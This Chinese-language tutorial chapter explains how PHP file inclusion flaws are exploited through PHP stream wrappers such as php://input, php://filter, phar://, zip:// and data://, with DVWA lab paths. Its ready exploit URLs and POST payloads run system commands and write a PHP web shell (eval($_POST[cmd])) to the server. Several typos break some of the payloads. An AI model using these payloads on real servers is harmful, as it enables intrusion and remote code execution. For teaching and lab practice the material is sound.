第八章——第四节--文件包含漏洞篇文件包含漏洞篇之文件包含技巧之php伪协议包含
1、文件包含之php伪协议类型
php伪协议类型
file:// —访问本地文件系统
http://—访问HTTP(s)网址
ftp://一访问FTP(s) URLS
php:// —访问各个输入输出流 (I/O streams)
zib:// —压缩流
data://一数据(RFC 2397)
glob://一查找匹配的文件路径模式
phar://一PHP归档
ssh2://一Secure Shell 2
rar:// 一RAR
ogg/—音频流
expect:/ —处理交互式的流
2、文件包含之常用RHP伪协议讲解
a)php://input
它是个可以访问请求的原始数据的只读流,说得简单点,就是获取post传过去的数据利用条件:
allow_url_ include = on
对allow_url _fopen不做要求
利用方式:
index.php?file=php://input
POST:
<?php phpinfo();?>
<?php system ('ipconfig');?>
<?php fputs(fopen('shel.php','w'),'<?php eval($_POST[cmd]);?>
b) php://filter
我们一般用它来读取源码,不过要先经过base64加密, 然后得到结果再base64解密就行。
利用方式:
index.php?page=php://fiter/read=convert.base64-encode/resource=file1.php
c) phar://
利用条件
php版本大于等于php5.3.0
利用方式:
假设有个文件phpinfo.txt,其内容为
<?php phpinfo);?>
打包成zip的压缩包,然后包含。
index.php?page= phar://../../hackable/uploads/phpinfo.zip/phpinfo.txt
d) zip://
利用条件:
php版本大于等于php5.3.0
利用方式:
假设有个文件phpinfo.txt,其内容为<?php phpinfo():>,打包成ip的压缩包,然后包含。但使用zip 协议,需要指定绝对路径,同时将编码=改为URL编码%23, 之后填上压缩包文件。
index. php? page=zip://D:\phpstudy\PHPTutorial\WWW\DVWA-master\vulnerabilities\fi\phpinfo.zip%23phpinfo.txt
e) data:URL schema
利用条件:
1. php版本大于等于php5.2
2. allow_ url_include = on
3. allow_url_fopen on
利用方式:
index. php?file=data:text/plain,<?php phpinfo();?>
index. php?file = data:text/plain,<?php system("whoami");?>
小结:
1、文件包含之php伪协议类型
2、文件包含之常用PHP伪协议讲解
以上内容仅作为知识分享,希望能帮助广大网络安全爱好者,